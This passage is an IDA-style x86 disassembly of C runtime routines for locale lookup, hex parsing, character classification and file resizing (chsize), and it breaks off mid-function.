push ecx
mov edx, dword_4DE218
push edx
call sub_431210
add esp, 8
test eax, eax
jnz short loc_42DA59
cmp dword_4DE214, 0
jnz short loc_42DA36
push 1
mov eax, [ebp+var_7C]
push eax
call sub_42DCF0
add esp, 8
test eax, eax
jz short loc_42DA57
loc_42DA36: ; CODE XREF: sub_42D9B0+72j
mov ecx, [ebp+var_7C]
mov dword_4DE224, ecx
mov edx, dword_4DE224
mov dword_4DE208, edx
mov eax, dword_4DE220
or al, 4
mov dword_4DE220, eax
loc_42DA57: ; CODE XREF: sub_42D9B0+84j
jmp short loc_42DABC
; ---------------------------------------------------------------------------
loc_42DA59: ; CODE XREF: sub_42D9B0+69j
cmp dword_4DE214, 0
jnz short loc_42DABC
cmp dword_4DE210, 0
jz short loc_42DABC
mov ecx, dword_4DE210
push ecx
lea edx, [ebp+var_78]
push edx
mov eax, dword_4DE218
push eax
call sub_4312E0
add esp, 0Ch
test eax, eax
jnz short loc_42DABC
push 0
mov ecx, [ebp+var_7C]
push ecx
call sub_42DCF0
add esp, 8
test eax, eax
jz short loc_42DABC
mov edx, [ebp+var_7C]
mov dword_4DE224, edx
mov eax, dword_4DE224
mov dword_4DE208, eax
mov ecx, dword_4DE220
or ecx, 4
mov dword_4DE220, ecx
loc_42DABC: ; CODE XREF: sub_42D9B0:loc_42DA57j
; sub_42D9B0+B0j ...
mov eax, dword_4DE220
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_42DAC9: ; CODE XREF: sub_42D9B0+4Fj
mov esp, ebp
pop ebp
retn 4
sub_42D9B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DAD0 proc near ; CODE XREF: sub_42D2B0+102p
push ebp
mov ebp, esp
mov eax, dword_4DE21C
push eax
call sub_414EC0
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov dword_4DE20C, ecx
push 1
push offset sub_42DB20
call dword_4E02EC ; EnumSystemLocalesA
mov edx, dword_4DE220
and edx, 4
test edx, edx
jnz short loc_42DB13
mov dword_4DE220, 0
loc_42DB13: ; CODE XREF: sub_42DAD0+37j
pop ebp
retn
sub_42DAD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DB20 proc near ; DATA XREF: sub_42DAD0+21o
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_42DF60
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4DE20C
neg edx
sbb edx, edx
and edx, 0FFFFF005h
add edx, 1002h
push edx
mov eax, [ebp+var_7C]
push eax
call dword_4DE228
test eax, eax
jnz short loc_42DB71
mov dword_4DE220, 0
mov eax, 1
jmp short loc_42DBC6
; ---------------------------------------------------------------------------
loc_42DB71: ; CODE XREF: sub_42DB20+3Ej
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4DE21C
push edx
call sub_431210
add esp, 8
test eax, eax
jnz short loc_42DBB9
mov eax, [ebp+var_7C]
push eax
call sub_42DCA0
add esp, 4
test eax, eax
jz short loc_42DBB9
mov ecx, [ebp+var_7C]
mov dword_4DE224, ecx
mov edx, dword_4DE224
mov dword_4DE208, edx
mov eax, dword_4DE220
or al, 4
mov dword_4DE220, eax
loc_42DBB9: ; CODE XREF: sub_42DB20+66j
; sub_42DB20+76j
mov eax, dword_4DE220
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_42DBC6: ; CODE XREF: sub_42DB20+4Fj
mov esp, ebp
pop ebp
retn 4
sub_42DB20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DBD0 proc near ; CODE XREF: sub_42D2B0+38p
; sub_42D2B0:loc_42D3B9p
push ebp
mov ebp, esp
mov eax, dword_4DE220
or eax, 104h
mov dword_4DE220, eax
call dword_4E02E8 ; GetUserDefaultLCID
mov dword_4DE224, eax
mov ecx, dword_4DE224
mov dword_4DE208, ecx
pop ebp
retn
sub_42DBD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DC00 proc near ; CODE XREF: sub_42D2B0+128p
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jz short loc_42DC2B
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42DC2B
push offset aAcp ; "ACP"
mov edx, [ebp+arg_0]
push edx
call sub_418A30
add esp, 8
test eax, eax
jnz short loc_42DC53
loc_42DC2B: ; CODE XREF: sub_42DC00+Aj
; sub_42DC00+14j
push 8
lea eax, [ebp+var_8]
push eax
push 1004h
mov ecx, dword_4DE224
push ecx
call dword_4DE228
test eax, eax
jnz short loc_42DC4B
xor eax, eax
jmp short loc_42DC97
; ---------------------------------------------------------------------------
loc_42DC4B: ; CODE XREF: sub_42DC00+45j
lea edx, [ebp+var_8]
mov [ebp+arg_0], edx
jmp short loc_42DC8B
; ---------------------------------------------------------------------------
loc_42DC53: ; CODE XREF: sub_42DC00+29j
push offset aOcp ; "OCP"
mov eax, [ebp+arg_0]
push eax
call sub_418A30
add esp, 8
test eax, eax
jnz short loc_42DC8B
push 8
lea ecx, [ebp+var_8]
push ecx
push 0Bh
mov edx, dword_4DE224
push edx
call dword_4DE228
test eax, eax
jnz short loc_42DC85
xor eax, eax
jmp short loc_42DC97
; ---------------------------------------------------------------------------
loc_42DC85: ; CODE XREF: sub_42DC00+7Fj
lea eax, [ebp+var_8]
mov [ebp+arg_0], eax
loc_42DC8B: ; CODE XREF: sub_42DC00+51j
; sub_42DC00+66j
mov ecx, [ebp+arg_0]
push ecx
call sub_417860
add esp, 4
loc_42DC97: ; CODE XREF: sub_42DC00+49j
; sub_42DC00+83j
mov esp, ebp
pop ebp
retn
sub_42DC00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DCA0 proc near ; CODE XREF: sub_42D600+16Ep
; sub_42DB20+6Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov ax, [ebp+arg_0]
mov word ptr [ebp+var_4], ax
mov [ebp+var_8], 0
jmp short loc_42DCC0
; ---------------------------------------------------------------------------
loc_42DCB7: ; CODE XREF: sub_42DCA0:loc_42DCE4j
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_42DCC0: ; CODE XREF: sub_42DCA0+15j
cmp [ebp+var_8], 0Ah
jnb short loc_42DCE6
mov edx, [ebp+var_4]
and edx, 0FFFFh
mov eax, [ebp+var_8]
xor ecx, ecx
mov cx, word_447FD4[eax*2]
cmp edx, ecx
jnz short loc_42DCE4
xor eax, eax
jmp short loc_42DCEB
; ---------------------------------------------------------------------------
loc_42DCE4: ; CODE XREF: sub_42DCA0+3Ej
jmp short loc_42DCB7
; ---------------------------------------------------------------------------
loc_42DCE6: ; CODE XREF: sub_42DCA0+24j
mov eax, 1
loc_42DCEB: ; CODE XREF: sub_42DCA0+42j
mov esp, ebp
pop ebp
retn
sub_42DCA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DCF0 proc near ; CODE XREF: sub_42D600+260p
; sub_42D600+2E6p ...
var_7C = byte ptr -7Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7Ch
push esi
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 3FFh
and eax, 0FFFFh
or ah, 4
and eax, 0FFFFh
mov [ebp+var_4], eax
push 78h
lea ecx, [ebp+var_7C]
push ecx
push 1
mov edx, [ebp+var_4]
push edx
call dword_4DE228
test eax, eax
jnz short loc_42DD2E
xor eax, eax
jmp short loc_42DD72
; ---------------------------------------------------------------------------
loc_42DD2E: ; CODE XREF: sub_42DCF0+38j
lea eax, [ebp+var_7C]
push eax
call sub_42DF60
add esp, 4
cmp [ebp+arg_0], eax
jz short loc_42DD6D
cmp [ebp+arg_4], 0
jz short loc_42DD6D
mov ecx, dword_4DE218
push ecx
call sub_42DFE0
add esp, 4
mov esi, eax
mov edx, dword_4DE218
push edx
call sub_414EC0
add esp, 4
cmp esi, eax
jnz short loc_42DD6D
xor eax, eax
jmp short loc_42DD72
; ---------------------------------------------------------------------------
loc_42DD6D: ; CODE XREF: sub_42DCF0+4Dj
; sub_42DCF0+53j ...
mov eax, 1
loc_42DD72: ; CODE XREF: sub_42DCF0+3Cj
; sub_42DCF0+7Bj
pop esi
mov esp, ebp
pop ebp
retn
sub_42DCF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DD80 proc near ; CODE XREF: sub_42D2B0+Fp
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 98h
mov [ebp+var_94], 94h
lea eax, [ebp+var_94]
push eax
call dword_4E039C ; GetVersionExA
test eax, eax
jz short loc_42DDB9
cmp [ebp+var_84], 2
jnz short loc_42DDB9
mov [ebp+var_98], 1
jmp short loc_42DDC3
; ---------------------------------------------------------------------------
loc_42DDB9: ; CODE XREF: sub_42DD80+22j
; sub_42DD80+2Bj
mov [ebp+var_98], 0
loc_42DDC3: ; CODE XREF: sub_42DD80+37j
mov eax, [ebp+var_98]
mov esp, ebp
pop ebp
retn
sub_42DD80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DDD0 proc near ; DATA XREF: sub_42D2B0:loc_42D2D2o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+var_10], 0
mov [ebp+var_4], 1Ah
mov [ebp+var_8], 0
loc_42DDEB: ; CODE XREF: sub_42DDD0:loc_42DF33j
mov eax, [ebp+var_10]
cmp eax, [ebp+var_4]
jg loc_42DF38
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
imul ecx, 2Ch
mov edx, [ebp+arg_0]
cmp edx, dword_447B30[ecx]
jnz loc_42DF0E
mov eax, [ebp+arg_4]
mov [ebp+var_14], eax
cmp [ebp+var_14], 0Bh
ja short loc_42DE47
cmp [ebp+var_14], 0Bh
jz loc_42DEB9
cmp [ebp+var_14], 1
jz short loc_42DE64
cmp [ebp+var_14], 3
jz short loc_42DE86
cmp [ebp+var_14], 7
jz short loc_42DEA8
jmp loc_42DED8
; ---------------------------------------------------------------------------
loc_42DE47: ; CODE XREF: sub_42DDD0+54j
cmp [ebp+var_14], 1001h
jz short loc_42DE75
cmp [ebp+var_14], 1002h
jz short loc_42DE97
cmp [ebp+var_14], 1004h
jz short loc_42DECA
jmp short loc_42DED8
; ---------------------------------------------------------------------------
loc_42DE64: ; CODE XREF: sub_42DDD0+64j
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset a040a ; "040a"
mov [ebp+var_8], ecx
jmp short loc_42DED8
; ---------------------------------------------------------------------------
loc_42DE75: ; CODE XREF: sub_42DDD0+7Ej
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, off_447B3C[edx]
mov [ebp+var_8], eax
jmp short loc_42DED8
; ---------------------------------------------------------------------------
loc_42DE86: ; CODE XREF: sub_42DDD0+6Aj
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset dword_447B40
mov [ebp+var_8], ecx
jmp short loc_42DED8
; ---------------------------------------------------------------------------
loc_42DE97: ; CODE XREF: sub_42DDD0+87j
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, off_447B44[edx]
mov [ebp+var_8], eax
jmp short loc_42DED8
; ---------------------------------------------------------------------------
loc_42DEA8: ; CODE XREF: sub_42DDD0+70j
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset dword_447B48
mov [ebp+var_8], ecx
jmp short loc_42DED8
; ---------------------------------------------------------------------------
loc_42DEB9: ; CODE XREF: sub_42DDD0+5Aj
mov edx, [ebp+var_C]
imul edx, 2Ch
add edx, offset dword_447B4C
mov [ebp+var_8], edx
jmp short loc_42DED8
; ---------------------------------------------------------------------------
loc_42DECA: ; CODE XREF: sub_42DDD0+90j
mov eax, [ebp+var_C]
imul eax, 2Ch
add eax, offset a1252 ; "1252"
mov [ebp+var_8], eax
loc_42DED8: ; CODE XREF: sub_42DDD0+72j
; sub_42DDD0+92j ...
cmp [ebp+var_8], 0
jz short loc_42DEE4
cmp [ebp+arg_C], 1
jge short loc_42DEE6
loc_42DEE4: ; CODE XREF: sub_42DDD0+10Cj
jmp short loc_42DF38
; ---------------------------------------------------------------------------
loc_42DEE6: ; CODE XREF: sub_42DDD0+112j
mov ecx, [ebp+arg_C]
sub ecx, 1
push ecx
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_417760
add esp, 0Ch
mov ecx, [ebp+arg_8]
add ecx, [ebp+arg_C]
mov byte ptr [ecx-1], 0
mov eax, 1
jmp short loc_42DF4E
; ---------------------------------------------------------------------------
loc_42DF0E: ; CODE XREF: sub_42DDD0+44j
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, [ebp+arg_0]
cmp eax, dword_447B30[edx]
jnb short loc_42DF2A
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42DF33
; ---------------------------------------------------------------------------
loc_42DF2A: ; CODE XREF: sub_42DDD0+14Dj
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_10], edx
loc_42DF33: ; CODE XREF: sub_42DDD0+158j
jmp loc_42DDEB
; ---------------------------------------------------------------------------
loc_42DF38: ; CODE XREF: sub_42DDD0+21j
; sub_42DDD0:loc_42DEE4j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4E0398 ; GetLocaleInfoA
loc_42DF4E: ; CODE XREF: sub_42DDD0+13Cj
mov esp, ebp
pop ebp
retn 10h
sub_42DDD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DF60 proc near ; CODE XREF: sub_42D600+Ap
; sub_42D9B0+Ap ...
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
loc_42DF6D: ; CODE XREF: sub_42DF60+6Dj
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_8], cl
movsx edx, [ebp+var_8]
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
test edx, edx
jz short loc_42DFCF
movsx ecx, [ebp+var_8]
cmp ecx, 61h
jl short loc_42DFA2
movsx edx, [ebp+var_8]
cmp edx, 66h
jg short loc_42DFA2
mov al, [ebp+var_8]
add al, 0D9h
mov [ebp+var_8], al
jmp short loc_42DFBC
; ---------------------------------------------------------------------------
loc_42DFA2: ; CODE XREF: sub_42DF60+2Dj
; sub_42DF60+36j
movsx ecx, [ebp+var_8]
cmp ecx, 41h
jl short loc_42DFBC
movsx edx, [ebp+var_8]
cmp edx, 46h
jg short loc_42DFBC
mov al, [ebp+var_8]
add al, 0F9h
mov [ebp+var_8], al
loc_42DFBC: ; CODE XREF: sub_42DF60+40j
; sub_42DF60+49j ...
mov ecx, [ebp+var_4]
shl ecx, 4
movsx edx, [ebp+var_8]
lea eax, [ecx+edx-30h]
mov [ebp+var_4], eax
jmp short loc_42DF6D
; ---------------------------------------------------------------------------
loc_42DFCF: ; CODE XREF: sub_42DF60+24j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42DF60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DFE0 proc near ; CODE XREF: sub_42D540+60p
; sub_42D930+39p ...
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_4], cl
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
loc_42DFFE: ; CODE XREF: sub_42DFE0+5Cj
movsx eax, [ebp+var_4]
cmp eax, 41h
jl short loc_42E010
movsx ecx, [ebp+var_4]
cmp ecx, 5Ah
jle short loc_42E022
loc_42E010: ; CODE XREF: sub_42DFE0+25j
movsx edx, [ebp+var_4]
cmp edx, 61h
jl short loc_42E03E
movsx eax, [ebp+var_4]
cmp eax, 7Ah
jg short loc_42E03E
loc_42E022: ; CODE XREF: sub_42DFE0+2Ej
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ebp+var_4], al
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
jmp short loc_42DFFE
; ---------------------------------------------------------------------------
loc_42E03E: ; CODE XREF: sub_42DFE0+37j
; sub_42DFE0+40j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_42DFE0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 0
mov eax, [ebp+8]
push eax
call sub_42E1D0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 0
mov eax, [ebp+8]
push eax
call sub_42E1D0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 2
push 0
mov eax, [ebp+8]
push eax
call sub_42E1D0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 107h
mov eax, [ebp+8]
push eax
call sub_42E1D0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 103h
mov eax, [ebp+8]
push eax
call sub_42E1D0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 117h
mov eax, [ebp+8]
push eax
call sub_42E1D0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 157h
mov eax, [ebp+8]
push eax
call sub_42E1D0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 2
push 10h
mov eax, [ebp+8]
push eax
call sub_42E1D0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E150 proc near ; CODE XREF: sub_427B20+4Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 4
push 0
mov eax, [ebp+arg_0]
push eax
call sub_42E1D0
add esp, 0Ch
pop ebp
retn
sub_42E150 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 8
push 0
mov eax, [ebp+8]
push eax
call sub_42E1D0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4DE42C, 3A4h
jnz short loc_42E1BD
push 3
push 0
mov eax, [ebp+8]
push eax
call sub_42E1D0
add esp, 0Ch
test eax, eax
jz short loc_42E1BD
mov dword ptr [ebp-4], 1
jmp short loc_42E1C4
; ---------------------------------------------------------------------------
loc_42E1BD: ; CODE XREF: .data:0042E19Ej
; .data:0042E1B2j
mov dword ptr [ebp-4], 0
loc_42E1C4: ; CODE XREF: .data:0042E1BBj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E1D0 proc near ; CODE XREF: .data:0042E05Bp
; .data:0042E07Bp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
and eax, 0FFh
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, byte_4DE541[ecx]
and edx, [ebp+arg_8]
test edx, edx
jnz short loc_42E224
cmp [ebp+arg_4], 0
jz short loc_42E20E
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, word_44727E[eax*2]
and ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
jmp short loc_42E215
; ---------------------------------------------------------------------------
loc_42E20E: ; CODE XREF: sub_42E1D0+27j
mov [ebp+var_4], 0
loc_42E215: ; CODE XREF: sub_42E1D0+3Cj
cmp [ebp+var_4], 0
jnz short loc_42E224
mov [ebp+var_8], 0
jmp short loc_42E22B
; ---------------------------------------------------------------------------
loc_42E224: ; CODE XREF: sub_42E1D0+21j
; sub_42E1D0+49j
mov [ebp+var_8], 1
loc_42E22B: ; CODE XREF: sub_42E1D0+52j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_42E1D0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
cmp eax, dword_4DE420
jnb short loc_42E271
mov ecx, [ebp+8]
sar ecx, 5
mov edx, [ebp+8]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42E281
loc_42E271: ; CODE XREF: .data:0042E24Dj
call sub_4224D0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_42E2AF
; ---------------------------------------------------------------------------
loc_42E281: ; CODE XREF: .data:0042E26Fj
mov edx, [ebp+8]
push edx
call sub_4299C0
add esp, 4
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_42E2C0
add esp, 8
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_429A50
add esp, 4
mov eax, [ebp-4]
loc_42E2AF: ; CODE XREF: .data:0042E27Fj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E2C0 proc near ; CODE XREF: sub_429E30+44Cp
; .data:0042E295p
var_1024 = dword ptr -1024h
var_1020 = dword ptr -1020h
var_101C = dword ptr -101Ch
var_1018 = dword ptr -1018h
var_1014 = dword ptr -1014h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = byte ptr -1004h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1024h
call sub_4181D0
push ebx
push esi
push edi
lea eax, [ebp+var_1004]
mov [ebp+var_1014], eax
mov [ebp+var_101C], 0
loc_42E2E6: ; CODE XREF: sub_42E2C0+51j
cmp [ebp+arg_4], 0
jge short loc_42E30D
push offset aSize0 ; "size >= 0"
push 0
push 81h
push offset aChsize_c ; "chsize.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_42E30D
int 3 ; Trap to Debugger
loc_42E30D: ; CODE XREF: sub_42E2C0+2Aj
; sub_42E2C0+4Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_42E2E6
push 1
push 0
mov edx, [ebp+arg_0]
push edx
call sub_426470
add esp, 0Ch
mov [ebp+var_100C], eax
cmp [ebp+var_100C], 0FFFFFFFFh
jz short loc_42E351
push 2
push 0
mov eax, [ebp+arg_0]
push eax
call sub_426470
add esp, 0Ch
mov [ebp+var_1010], eax
cmp [ebp+var_1010], 0FFFFFFFFh
jnz short loc_42E359
loc_42E351: ; CODE XREF: sub_42E2C0+70j
or eax, 0FFFFFFFFh
jmp loc_42E4E9
; ---------------------------------------------------------------------------
loc_42E359: ; CODE XREF: sub_42E2C0+8Fj
mov ecx, [ebp+arg_4]
sub ecx, [ebp+var_1010]
mov [ebp+var_1018], ecx
cmp [ebp+var_1018], 0
jle loc_42E470
push 1000h
push 0
mov edx, [ebp+var_1014]
push edx
call sub_417700
add esp, 0Ch
push 8000h
mov eax, [ebp+arg_0]
push eax
call sub_431470
add esp, 8
mov [ebp+var_4], eax
loc_42E39F: ; CODE XREF: sub_42E2C0+198j
cmp [ebp+var_1018], 1000h
jl short loc_42E3B7
mov [ebp+var_1020], 1000h
jmp short loc_42E3C3
; ---------------------------------------------------------------------------
loc_42E3B7: ; CODE XREF: sub_42E2C0+E9j
mov ecx, [ebp+var_1018]
mov [ebp+var_1020], ecx
loc_42E3C3: ; CODE XREF: sub_42E2C0+F5j
mov edx, [ebp+var_1020]
mov [ebp+var_1008], edx
cmp [ebp+var_1018], 1000h
jl short loc_42E3E7
mov [ebp+var_1024], 1000h
jmp short loc_42E3F3
; ---------------------------------------------------------------------------
loc_42E3E7: ; CODE XREF: sub_42E2C0+119j
mov eax, [ebp+var_1018]
mov [ebp+var_1024], eax
loc_42E3F3: ; CODE XREF: sub_42E2C0+125j
mov ecx, [ebp+var_1024]
push ecx
mov edx, [ebp+var_1014]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4268D0
add esp, 0Ch
mov [ebp+var_1008], eax
cmp [ebp+var_1008], 0FFFFFFFFh
jnz short loc_42E43F
call sub_4224E0
cmp dword ptr [eax], 5
jnz short loc_42E431
call sub_4224D0
mov dword ptr [eax], 0Dh
loc_42E431: ; CODE XREF: sub_42E2C0+164j
mov ecx, [ebp+var_1008]
mov [ebp+var_101C], ecx
jmp short loc_42E45E
; ---------------------------------------------------------------------------
loc_42E43F: ; CODE XREF: sub_42E2C0+15Aj
mov edx, [ebp+var_1018]
sub edx, [ebp+var_1008]
mov [ebp+var_1018], edx
cmp [ebp+var_1018], 0
jg loc_42E39F
loc_42E45E: ; CODE XREF: sub_42E2C0+17Dj
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_431470
add esp, 8
jmp short loc_42E4CE
; ---------------------------------------------------------------------------
loc_42E470: ; CODE XREF: sub_42E2C0+AFj
cmp [ebp+var_1018], 0
jge short loc_42E4CE
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_426470
add esp, 0Ch
mov ecx, [ebp+arg_0]
push ecx
call sub_429840
add esp, 4
push eax
call dword_4E02E4 ; SetEndOfFile
neg eax
sbb eax, eax
neg eax
dec eax
mov [ebp+var_101C], eax
cmp [ebp+var_101C], 0FFFFFFFFh
jnz short loc_42E4CE
call sub_4224D0
mov dword ptr [eax], 0Dh
call dword_4E0350 ; RtlGetLastWin32Error
mov esi, eax
call sub_4224E0
mov [eax], esi
loc_42E4CE: ; CODE XREF: sub_42E2C0+1AEj
; sub_42E2C0+1B7j ...
push 0
mov edx, [ebp+var_100C]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_426470
add esp, 0Ch
mov eax, [ebp+var_101C]
loc_42E4E9: ; CODE XREF: sub_42E2C0+94j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42E2C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E4F0 proc near ; CODE XREF: sub_42B320+53p
; sub_42B320+94p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
add eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
cmp ecx, [ebp+arg_0]
jb short loc_42E516
mov edx, [ebp+var_4]
cmp edx, [ebp+arg_4]
jnb short loc_42E51F
loc_42E516: ; CODE XREF: sub_42E4F0+1Cj
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_42E51F: ; CODE XREF: sub_42E4F0+24j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_42E4F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E530 proc near ; CODE XREF: sub_42E6B0+77p
; sub_42E6B0+AAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_42E4F0
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_42E587
mov edx, [ebp+arg_0]
add edx, 4
push edx
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call sub_42E4F0
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_42E587
mov edx, [ebp+arg_0]
